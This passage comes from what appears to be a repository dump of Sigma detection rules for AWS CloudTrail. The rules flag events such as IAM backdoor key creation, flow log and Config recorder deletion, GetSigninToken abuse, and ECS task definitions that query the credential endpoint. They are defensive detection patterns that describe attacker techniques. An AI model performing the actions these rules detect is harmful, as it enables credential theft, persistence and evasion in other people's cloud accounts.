"content": "title: RDS Database Security Group Modification\nid: 14f3f1c8-02d5-43a2-a191-91ffb52d3015\nstatus: test\ndescription: |\n Detects changes to the security group entries for RDS databases.\n This can indicate that a misconfiguration has occurred which potentially exposes the database to the public internet, a wider audience within the VPC or that removal of valid rules has occurred which could impact the availability of the database to legitimate services and users.\nreferences:\n - https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/\nauthor: jamesc-grafana\ndate: 2024-07-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'rds.amazonaws.com'\n eventName:\n - 'AuthorizeDBSecurityGroupIngress'\n - 'CreateDBSecurityGroup'\n - 'DeleteDBSecurityGroup'\n - 'RevokeDBSecurityGroupIngress'\n condition: selection\nfalsepositives:\n - Creation of a new Database that needs new security group rules\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_ssm_malicious_usage.yml",
"content": "title: Potential Malicious Usage of CloudTrail System Manager\nid: 38e7f511-3f74-41d4-836e-f57dfa18eead\nstatus: test\ndescription: |\n Detect when System Manager successfully executes commands against an instance.\nreferences:\n - https://github.com/elastic/detection-rules/blob/v8.6.0/rules/integrations/aws/initial_access_via_system_manager.toml\nauthor: jamesc-grafana\ndate: 2024-07-11\nmodified: 2025-12-08\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.t1566\n - attack.t1566.002\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_event:\n eventName: 'SendCommand'\n eventSource: 'ssm.amazonaws.com'\n selection_status_success:\n errorCode: 'Success'\n selection_status_null:\n errorCode: null\n condition: selection_event and 1 of selection_status_*\nfalsepositives:\n - There are legitimate uses of SSM to send commands to EC2 instances\n - Legitimate users may have to use SSM to perform actions against machines in the Cloud to update or maintain them\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_cloudtrail_vpc_flow_logs_deleted.yml",
"content": "title: AWS VPC Flow Logs Deleted\nid: e386b9b5-af12-450e-afff-761730fb8a98\nstatus: experimental\ndescription: |\n Detects the deletion of one or more VPC Flow Logs in AWS Elastic Compute Cloud (EC2) through the DeleteFlowLogs API call.\n Adversaries may delete flow logs to evade detection or remove evidence of network activity, hindering forensic investigations and visibility into malicious operations.\nreferences:\n - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteFlowLogs.html\n - https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-flow-logs.html\n - https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/integrations/aws/defense_evasion_ec2_flow_log_deletion\nauthor: Ivan Saakov\ndate: 2025-10-19\ntags:\n - attack.defense-evasion\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_event_name:\n eventName: 'DeleteFlowLogs'\n selection_status_success:\n errorCode: 'Success'\n selection_status_null:\n errorCode: null\n condition: selection_event_name and 1 of selection_status_*\nfalsepositives:\n - During maintenance operations or testing, authorized administrators may delete VPC Flow Logs as part of routine network management or cleanup activities.\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_config_disable_recording.yml",
"content": "title: AWS Config Disabling Channel/Recorder\nid: 07330162-dba1-4746-8121-a9647d49d297\nstatus: test\ndescription: Detects AWS Config Service disabling\nreferences:\n - https://docs.aws.amazon.com/config/latest/developerguide/cloudtrail-log-files-for-aws-config.html\nauthor: vitaliy0x1\ndate: 2020-01-21\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.t1562.008\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'config.amazonaws.com'\n eventName:\n - 'DeleteDeliveryChannel'\n - 'StopConfigurationRecorder'\n condition: selection\nfalsepositives:\n - Valid change in AWS Config Service\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_console_getsignintoken.yml",
"content": "title: AWS Console GetSigninToken Potential Abuse\nid: f8103686-e3e8-46f3-be72-65f7fcb4aa53\nstatus: test\ndescription: |\n Detects potentially suspicious events involving \"GetSigninToken\".\n An adversary using the \"aws_consoler\" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.\nreferences:\n - https://github.com/NetSPI/aws_consoler\n - https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/\nauthor: Chester Le Bron (@123Le_Bron)\ndate: 2024-02-26\ntags:\n - attack.lateral-movement\n - attack.defense-evasion\n - attack.t1021.007\n - attack.t1550.001\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'signin.amazonaws.com'\n eventName: 'GetSigninToken'\n filter_main_console_ua:\n userAgent|contains: 'Jersey/${project.version}'\n condition: selection and not 1 of filter_main_*\nfalsepositives:\n - GetSigninToken events will occur when using AWS SSO portal to login and will generate false positives if you do not filter for the expected user agent(s), see filter. Non-SSO configured roles would be abnormal and should be investigated.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_delete_identity.yml",
"content": "title: SES Identity Has Been Deleted\nid: 20f754db-d025-4a8f-9d74-e0037e999a9a\nstatus: test\ndescription: Detects an instance of an SES identity being deleted via the \"DeleteIdentity\" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities\nreferences:\n - https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/\nauthor: Janantha Marasinghe\ndate: 2022-12-13\nmodified: 2022-12-28\ntags:\n - attack.defense-evasion\n - attack.t1070\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'ses.amazonaws.com'\n eventName: 'DeleteIdentity'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_delete_saml_provider.yml",
"content": "title: AWS SAML Provider Deletion Activity\nid: ccd6a6c8-bb4e-4a91-9d2a-07e632819374\nstatus: experimental\ndescription: |\n Detects the deletion of an AWS SAML provider, potentially indicating malicious intent to disrupt administrative or security team access.\n An attacker can remove the SAML provider for the information security team or a team of system administrators, to make it difficult for them to work and investigate at the time of the attack and after it.\nreferences:\n - https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteSAMLProvider.html\nauthor: Ivan Saakov\ndate: 2024-12-19\ntags:\n - attack.t1078.004\n - attack.privilege-escalation\n - attack.defense-evasion\n - attack.initial-access\n - attack.persistence\n - attack.t1531\n - attack.impact\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'iam.amazonaws.com'\n eventName: 'DeleteSAMLProvider'\n status: 'success'\n condition: selection\nfalsepositives:\n - Automated processes using tools like Terraform may trigger this alert.\n - Legitimate administrative actions by authorized system administrators could cause this alert. Verify the user identity, user agent, and hostname to ensure they are expected.\n - Deletions by unfamiliar users should be investigated. If the behavior is known and expected, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_disable_bucket_versioning.yml",
"content": "title: AWS S3 Bucket Versioning Disable\nid: a136ac98-b2bc-4189-a14d-f0d0388e57a7\nstatus: test\ndescription: Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects.\nreferences:\n - https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82\nauthor: Sean Johnstone | Unit 42\ndate: 2023-10-28\ntags:\n - attack.impact\n - attack.t1490\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: s3.amazonaws.com\n eventName: PutBucketVersioning\n requestParameters|contains: 'Suspended'\n condition: selection\nfalsepositives:\n - AWS administrator legitimately disabling bucket versioning\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_ec2_disable_encryption.yml",
"content": "title: AWS EC2 Disable EBS Encryption\nid: 16124c2d-e40b-4fcc-8f2c-5ab7870a2223\nstatus: stable\ndescription: |\n Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.\n Disabling default encryption does not change the encryption status of your existing volumes.\nreferences:\n - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html\nauthor: Sittikorn S\ndate: 2021-06-29\nmodified: 2021-08-20\ntags:\n - attack.impact\n - attack.t1486\n - attack.t1565\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: ec2.amazonaws.com\n eventName: DisableEbsEncryptionByDefault\n condition: selection\nfalsepositives:\n - System Administrator Activities\n - DEV, UAT, SAT environment. You should apply this rule with PROD account only.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_ec2_import_key_pair_activity.yml",
"content": "title: AWS Key Pair Import Activity\nid: 92f84194-8d9a-4ee0-8699-c30bfac59780\nstatus: experimental\ndescription: |\n Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations.\nreferences:\n - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html\nauthor: Ivan Saakov\ndate: 2024-12-19\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.t1078\n - attack.persistence\n - attack.privilege-escalation\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'ec2.amazonaws.com'\n eventName: 'ImportKeyPair'\n condition: selection\nfalsepositives:\n - Legitimate administrative actions by authorized users importing keys for valid purposes.\n - Automated processes for infrastructure setup may trigger this alert.\n - Verify the user identity, user agent, and source IP address to ensure they are expected.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_ec2_startup_script_change.yml",
"content": "title: AWS EC2 Startup Shell Script Change\nid: 1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df\nstatus: test\ndescription: Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.\nreferences:\n - https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9\nauthor: faloker\ndate: 2020-02-12\nmodified: 2022-06-07\ntags:\n - attack.execution\n - attack.t1059.001\n - attack.t1059.003\n - attack.t1059.004\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_source:\n eventSource: ec2.amazonaws.com\n requestParameters.attribute: 'userData'\n eventName: ModifyInstanceAttribute\n condition: selection_source\nfalsepositives:\n - Valid changes to the startup script\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_ec2_vm_export_failure.yml",
"content": "title: AWS EC2 VM Export Failure\nid: 54b9a76a-3c71-4673-b4b3-2edb4566ea7b\nstatus: test\ndescription: An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.\nreferences:\n - https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance\nauthor: Diogo Braz\ndate: 2020-04-16\nmodified: 2022-10-05\ntags:\n - attack.collection\n - attack.t1005\n - attack.exfiltration\n - attack.t1537\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventName: 'CreateInstanceExportTask'\n eventSource: 'ec2.amazonaws.com'\n filter1:\n errorMessage|contains: '*'\n filter2:\n errorCode|contains: '*'\n filter3:\n responseElements|contains: 'Failure'\n condition: selection and not 1 of filter*\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_ecs_task_definition_cred_endpoint_query.yml",
"content": "title: AWS ECS Task Definition That Queries The Credential Endpoint\nid: b94bf91e-c2bf-4047-9c43-c6810f43baad\nstatus: test\ndescription: |\n Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint.\n This can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.\nreferences:\n - https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py\n - https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html\n - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html\nauthor: Darin Smith\ndate: 2022-06-07\nmodified: 2023-04-24\ntags:\n - attack.persistence\n - attack.t1525\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'ecs.amazonaws.com'\n eventName:\n - 'DescribeTaskDefinition'\n - 'RegisterTaskDefinition'\n - 'RunTask'\n requestParameters.containerDefinitions.command|contains: '$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'\n condition: selection\nfalsepositives:\n - Task Definition being modified to request credentials from the Task Metadata Service for valid reasons\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_efs_fileshare_modified_or_deleted.yml",
"content": "title: AWS EFS Fileshare Modified or Deleted\nid: 25cb1ba1-8a19-4a23-a198-d252664c8cef\nstatus: test\ndescription: |\n Detects when a EFS Fileshare is modified or deleted.\n You can't delete a file system that is in use.\n If the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.\nreferences:\n - https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html\nauthor: Austin Songer @austinsonger\ndate: 2021-08-15\nmodified: 2022-10-09\ntags:\n - attack.impact\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: elasticfilesystem.amazonaws.com\n eventName: DeleteFileSystem\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_efs_fileshare_mount_modified_or_deleted.yml",
"content": "title: AWS EFS Fileshare Mount Modified or Deleted\nid: 6a7ba45c-63d8-473e-9736-2eaabff79964\nstatus: test\ndescription: Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.\nreferences:\n - https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html\nauthor: Austin Songer @austinsonger\ndate: 2021-08-15\nmodified: 2022-10-09\ntags:\n - attack.impact\n - attack.t1485\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: elasticfilesystem.amazonaws.com\n eventName: DeleteMountTarget\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_eks_cluster_created_or_deleted.yml",
"content": "title: AWS EKS Cluster Created or Deleted\nid: 33d50d03-20ec-4b74-a74e-1e65a38af1c0\nstatus: test\ndescription: Identifies when an EKS cluster is created or deleted.\nreferences:\n - https://any-api.com/amazonaws_com/eks/docs/API_Description\nauthor: Austin Songer\ndate: 2021-08-16\nmodified: 2022-10-09\ntags:\n - attack.impact\n - attack.t1485\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: eks.amazonaws.com\n eventName:\n - CreateCluster\n - DeleteCluster\n condition: selection\nfalsepositives:\n - EKS Cluster being created or deleted may be performed by a system administrator.\n - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - EKS Cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_elasticache_security_group_created.yml",
"content": "title: AWS ElastiCache Security Group Created\nid: 4ae68615-866f-4304-b24b-ba048dfa5ca7\nstatus: test\ndescription: Detects when an ElastiCache security group has been created.\nreferences:\n - https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml\nauthor: Austin Songer @austinsonger\ndate: 2021-07-24\nmodified: 2022-10-09\ntags:\n - attack.persistence\n - attack.t1136\n - attack.t1136.003\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: elasticache.amazonaws.com\n eventName: 'CreateCacheSecurityGroup'\n condition: selection\nfalsepositives:\n - A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\n\n\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_elasticache_security_group_modified_or_deleted.yml",
"content": "title: AWS ElastiCache Security Group Modified or Deleted\nid: 7c797da2-9cf2-4523-ba64-33b06339f0cc\nstatus: test\ndescription: Identifies when an ElastiCache security group has been modified or deleted.\nreferences:\n - https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml\nauthor: Austin Songer @austinsonger\ndate: 2021-07-24\nmodified: 2022-10-09\ntags:\n - attack.impact\n - attack.t1531\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: elasticache.amazonaws.com\n eventName:\n - 'DeleteCacheSecurityGroup'\n - 'AuthorizeCacheSecurityGroupIngress'\n - 'RevokeCacheSecurityGroupIngress'\n - 'AuthorizeCacheSecurityGroupEgress'\n - 'RevokeCacheSecurityGroupEgress'\n condition: selection\nfalsepositives:\n - A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\n\n\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_enum_buckets.yml",
"content": "title: Potential Bucket Enumeration on AWS\nid: f305fd62-beca-47da-ad95-7690a0620084\nrelated:\n - id: 4723218f-2048-41f6-bcb0-417f2d784f61\n type: similar\nstatus: test\ndescription: Looks for potential enumeration of AWS buckets via ListBuckets.\nreferences:\n - https://github.com/Lifka/hacking-resources/blob/c2ae355d381bd0c9f0b32c4ead049f44e5b1573f/cloud-hacking-cheat-sheets.md\n - https://jamesonhacking.blogspot.com/2020/12/pivoting-to-private-aws-s3-buckets.html\n - https://securitycafe.ro/2022/12/14/aws-enumeration-part-ii-practical-enumeration/\nauthor: Christopher Peacock @securepeacock, SCYTHE @scythe_io\ndate: 2023-01-06\nmodified: 2024-07-10\ntags:\n - attack.discovery\n - attack.t1580\n - attack.t1619\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 's3.amazonaws.com'\n eventName: 'ListBuckets'\n filter:\n userIdentity.type: 'AssumedRole'\n condition: selection and not filter\nfalsepositives:\n - Administrators listing buckets, it may be necessary to filter out users who commonly conduct this activity.\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_guardduty_disruption.yml",
"content": "title: AWS GuardDuty Important Change\nid: 6e61ee20-ce00-4f8d-8aee-bedd8216f7e3\nstatus: test\ndescription: Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.\nreferences:\n - https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9\nauthor: faloker\ndate: 2020-02-11\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_source:\n eventSource: guardduty.amazonaws.com\n eventName: CreateIPSet\n condition: selection_source\nfalsepositives:\n - Valid change in the GuardDuty (e.g. to ignore internal scanners)\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_iam_backdoor_users_keys.yml",
"content": "title: AWS IAM Backdoor Users Keys\nid: 0a5177f4-6ca9-44c2-aacf-d3f3d8b6e4d2\nstatus: test\ndescription: |\n Detects AWS API key creation for a user by another user.\n Backdoored users can be used to obtain persistence in the AWS environment.\n Also with this alert, you can detect a flow of AWS keys in your org.\nreferences:\n - https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__backdoor_users_keys/main.py\nauthor: faloker\ndate: 2020-02-12\nmodified: 2022-10-09\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1098\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_source:\n eventSource: iam.amazonaws.com\n eventName: CreateAccessKey\n filter:\n userIdentity.arn|contains: responseElements.accessKey.userName\n condition: selection_source and not filter\nfalsepositives:\n - Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)\n - AWS API keys legitimate exchange workflows\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_iam_s3browser_loginprofile_creation.yml",
"content": "title: AWS IAM S3Browser LoginProfile Creation\nid: db014773-b1d3-46bd-ba26-133337c0ffee\nstatus: test\ndescription: Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.\nreferences:\n - https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor\nauthor: daniel.bohannon@permiso.io (@danielhbohannon)\ndate: 2023-05-17\ntags:\n - attack.execution\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.privilege-escalation\n - attack.t1059.009\n - attack.t1078.004\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'iam.amazonaws.com'\n eventName:\n - 'GetLoginProfile'\n - 'CreateLoginProfile'\n userAgent|contains: 'S3 Browser'\n condition: selection\nfalsepositives:\n - Valid usage of S3 Browser for IAM LoginProfile listing and/or creation\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_iam_s3browser_templated_s3_bucket_policy_creation.yml",
"content": "title: AWS IAM S3Browser Templated S3 Bucket Policy Creation\nid: db014773-7375-4f4e-b83b-133337c0ffee\nstatus: test\ndescription: Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of \"\".\nreferences:\n - https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor\nauthor: daniel.bohannon@permiso.io (@danielhbohannon)\ndate: 2023-05-17\ntags:\n - attack.execution\n - attack.t1059.009\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.privilege-escalation\n - attack.t1078.004\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: iam.amazonaws.com\n eventName: PutUserPolicy\n userAgent|contains: 'S3 Browser'\n requestParameters|contains|all:\n - '\"arn:aws:s3:::/*\"'\n - '\"s3:GetObject\"'\n - '\"Allow\"'\n condition: selection\nfalsepositives:\n - Valid usage of S3 browser with accidental creation of default Inline IAM policy without changing default S3 bucket name placeholder value\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_iam_s3browser_user_or_accesskey_creation.yml",
"content": "title: AWS IAM S3Browser User or AccessKey Creation\nid: db014773-d9d9-4792-91e5-133337c0ffee\nstatus: test\ndescription: Detects S3 Browser utility creating IAM User or AccessKey.\nreferences:\n - https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor\nauthor: daniel.bohannon@permiso.io (@danielhbohannon)\ndate: 2023-05-17\ntags:\n - attack.privilege-escalation\n - attack.execution\n - attack.persistence\n - attack.defense-evasion\n - attack.initial-access\n - attack.t1059.009\n - attack.t1078.004\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'iam.amazonaws.com'\n eventName:\n - 'CreateUser'\n - 'CreateAccessKey'\n userAgent|contains: 'S3 Browser'\n condition: selection\nfalsepositives:\n - Valid usage of S3 Browser for IAM User and/or AccessKey creation\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_kms_import_key_material.yml",
"content": "title: AWS KMS Imported Key Material Usage\nid: 1279262f-1464-422f-ac0d-5b545320c526\nstatus: experimental\ndescription: |\n Detects the import or deletion of key material in AWS KMS, which can be used as part of ransomware attacks. This activity is uncommon and provides a high certainty signal.\nreferences:\n - https://www.chrisfarris.com/post/effective-aws-ransomware/\n - https://docs.aws.amazon.com/kms/latest/developerguide/ct-importkeymaterial.html\n - https://docs.aws.amazon.com/kms/latest/developerguide/ct-deleteimportedkeymaterial.html\nauthor: toopricey\ndate: 2025-10-18\ntags:\n - attack.impact\n - attack.t1486\n - attack.resource-development\n - attack.t1608.003\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'kms.amazonaws.com'\n eventName:\n - 'ImportKeyMaterial'\n - 'DeleteImportedKeyMaterial'\n condition: selection\nfalsepositives:\n - Legitimate use cases for imported key material are rare, but may include, Organizations with hybrid cloud architectures that import external key material for compliance requirements.\n - Development or testing environments that simulate external key management scenarios. Even in these cases, such activity is typically infrequent and should not add significant noise.\nlevel: high\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_lambda_function_url.yml",
"content": "title: New AWS Lambda Function URL Configuration Created\nid: ec541962-c05a-4420-b9ea-84de072d18f4\nstatus: experimental\ndescription: |\n Detects when a user creates a Lambda function URL configuration, which could be used to expose the function to the internet and potentially allow unauthorized access to the function's IAM role for AWS API calls.\n This could give an adversary access to the privileges associated with the Lambda service role that is attached to that function.\nreferences:\n - https://docs.aws.amazon.com/lambda/latest/dg/API_CreateFunctionUrlConfig.html\n - https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc\n - https://www.wiz.io/blog/how-to-set-secure-defaults-on-aws\nauthor: Ivan Saakov\ndate: 2024-12-19\ntags:\n - attack.initial-access\n - attack.privilege-escalation\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: lambda.amazonaws.com\n eventName: 'CreateFunctionUrlConfig'\n condition: selection\nfalsepositives:\n - Creating a Lambda function URL configuration may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Creating a Lambda function URL configuration from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_new_lambda_layer_attached.yml",
"content": "title: AWS New Lambda Layer Attached\nid: 97fbabf8-8e1b-47a2-b7d5-a418d2b95e3d\nstatus: test\ndescription: |\n Detects when a user attached a Lambda layer to an existing Lambda function.\n A malicious Lambda layer could execute arbitrary code in the context of the function's IAM role.\n This would give an adversary access to resources that the function has access to.\nreferences:\n - https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html\n - https://github.com/clearvector/lambda-spy\nauthor: Austin Songer\ndate: 2021-09-23\nmodified: 2025-03-17\ntags:\n - attack.privilege-escalation\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: lambda.amazonaws.com\n eventName|startswith: 'UpdateFunctionConfiguration'\n requestParameters.layers|contains: '*'\n condition: selection\nfalsepositives:\n - Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_passed_role_to_glue_development_endpoint.yml",
"content": "title: AWS Glue Development Endpoint Activity\nid: 4990c2e3-f4b8-45e3-bc3c-30b14ff0ed26\nstatus: test\ndescription: Detects possible suspicious glue development endpoint activity.\nreferences:\n - https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/\n - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html\nauthor: Austin Songer @austinsonger\ndate: 2021-10-03\nmodified: 2022-12-18\ntags:\n - attack.privilege-escalation\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: 'glue.amazonaws.com'\n eventName:\n - 'CreateDevEndpoint'\n - 'DeleteDevEndpoint'\n - 'UpdateDevEndpoint'\n condition: selection\nfalsepositives:\n - Glue Development Endpoint Activity may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.\n - If known behavior is causing false positives, it can be exempted from the rule.\nlevel: low\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_rds_change_master_password.yml",
"content": "title: AWS RDS Master Password Change\nid: 8a63cdd4-6207-414a-85bc-7e032bd3c1a2\nstatus: test\ndescription: Detects the change of database master password. It may be a part of data exfiltration.\nreferences:\n - https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py\nauthor: faloker\ndate: 2020-02-12\nmodified: 2022-10-05\ntags:\n - attack.exfiltration\n - attack.t1020\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection_source:\n eventSource: rds.amazonaws.com\n responseElements.pendingModifiedValues.masterUserPassword|contains: '*'\n eventName: ModifyDBInstance\n condition: selection_source\nfalsepositives:\n - Benign changes to a db instance\nlevel: medium\n"
},
{
"path": "rules/cloud/aws/cloudtrail/aws_rds_dbcluster_actions.yml",
"content": "title: Modification or Deletion of an AWS RDS Cluster\nid: 457cc9ac-d8e6-4d1d-8c0e-251d0f11a74c\nstatus: experimental\ndescription: Detects modifications to an RDS cluster or its deletion, which may indicate potential data exfiltration attempts, unauthorized access, or exposure of sensitive information.\nreferences:\n - https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBCluster.html\n - https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBCluster.html\n - https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-modifydbinstance\nauthor: Ivan Saakov\ndate: 2024-12-06\ntags:\n - attack.exfiltration\n - attack.t1020\nlogsource:\n product: aws\n service: cloudtrail\ndetection:\n selection:\n eventSource: rds.amazonaws.com\n eventName:\n - ModifyDBCluster\n - DeleteDBCluster\n condition: selection\nfalsepositives:\n - Verify if the modification or deletion was performed by an authorized administrator.\n - Confirm if the modification or deletion was part of a planned change or maintenance 